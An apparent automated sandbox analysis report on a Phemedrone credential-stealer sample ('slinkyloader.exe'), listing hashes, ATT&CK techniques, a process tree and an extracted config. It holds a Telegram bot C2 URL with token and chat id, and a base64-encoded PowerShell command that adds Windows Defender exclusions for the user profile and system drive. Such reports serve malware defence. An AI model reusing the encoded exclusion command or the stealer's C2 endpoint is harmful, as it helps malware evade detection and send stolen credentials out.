phemedrone | 3d0136aa999263e36d344cdf9699be53a96872a6cc6a9426bb8fd40133366c3b

General

Target

slinkyloader.exe
Size

18.5MB
MD5

16c3dea94d76e543f411d4c39c86fd2d
SHA1

c746d6096bbfcf6e5fe1ee1f052ce87ebe2bf0a6
SHA256

3d0136aa999263e36d344cdf9699be53a96872a6cc6a9426bb8fd40133366c3b
SHA512

71d7a55c7bcbdcea7c814981e470a73da9d32d88810b4792e6f2530e8ae453cc06c82587eb5bda70d52d75295d643e8d531bbddd29d838d720757053b1d54726
SSDEEP

393216:svmY2qQIpv7b01MkOYFld5xRwTOu3Uci7OkKprTWlKDtwOju3SLKyiYGLgN:TFUb0WtOlXxG6gUceOkW8KDt5j6QKIP

Score

10^/10

phemedrone credential_access defense_evasion spyware stealer

Malware Config

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot6407909076:AAGyVRw-4LZlh90gO_hIHntE1PGp-GHKDII/sendMessage?chat_id=-1002357854454

Signatures

Phemedrone
An information and wallet stealer written in C#.
stealer phemedrone
Phemedrone family
phemedrone

Executes dropped EXE 1 IoCs

pid	Process
2276	loader.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2752	powershell.exe
2276	loader.exe
2276	loader.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2276	loader.exe
Token: 33	2288	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2288	AUDIODG.EXE
Token: 33	2288	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2288	AUDIODG.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 2752	2696	slinkyloader.exe	30
PID 2696 wrote to memory of 2752	2696	slinkyloader.exe	30
PID 2696 wrote to memory of 2752	2696	slinkyloader.exe	30
PID 2696 wrote to memory of 2276	2696	slinkyloader.exe	32
PID 2696 wrote to memory of 2276	2696	slinkyloader.exe	32
PID 2696 wrote to memory of 2276	2696	slinkyloader.exe	32
PID 2696 wrote to memory of 1992	2696	slinkyloader.exe	33
PID 2696 wrote to memory of 1992	2696	slinkyloader.exe	33
PID 2696 wrote to memory of 1992	2696	slinkyloader.exe	33
PID 2276 wrote to memory of 2164	2276	loader.exe	35
PID 2276 wrote to memory of 2164	2276	loader.exe	35
PID 2276 wrote to memory of 2164	2276	loader.exe	35

C:\Users\Admin\AppData\Local\Temp\slinkyloader.exe
"C:\Users\Admin\AppData\Local\Temp\slinkyloader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAeAByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAdQBlACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAeAB2ACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752
- C:\Users\Admin\AppData\Local\Temp\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\loader.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2276 -s 800
    3⤵
    PID:2164
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 2696 -s 956
  2⤵
  PID:1992

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2412

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x40c
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

3

T1552

Credentials In Files

3

T1552.001

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\loader.exe

Filesize
126KB

MD5
f231475bacd302b879efb7a01e2637dc

SHA1
5f13d4e11fa84d35d7fef1ae517546b356609ec6

SHA256
8f1e95d826c3e16ca5218cc7e44a608db4bdb42eff4a6fba6bd17709ef6ea800

SHA512
6094a1505e50b657184fc675e1d078d537fa76d74371ee8a928871e5b9302502b06582057c300752858e8242ee26b1687a2980d0778e6226ab8acdbe5af1ab5e

Download Submit
memory/2276-8-0x0000000000010000-0x0000000000036000-memory.dmp

Filesize
152KB

Download
memory/2696-0-0x000007FEF6123000-0x000007FEF6124000-memory.dmp

Filesize
4KB

Download
memory/2696-1-0x0000000000150000-0x00000000013D2000-memory.dmp

Filesize
18.5MB

Download
memory/2696-2-0x000007FEF6120000-0x000007FEF6B0C000-memory.dmp

Filesize
9.9MB

Download
memory/2696-15-0x000007FEF6120000-0x000007FEF6B0C000-memory.dmp

Filesize
9.9MB

Download
memory/2752-13-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2752-14-0x00000000023C0000-0x00000000023C8000-memory.dmp

Filesize
32KB

Download

Analysis

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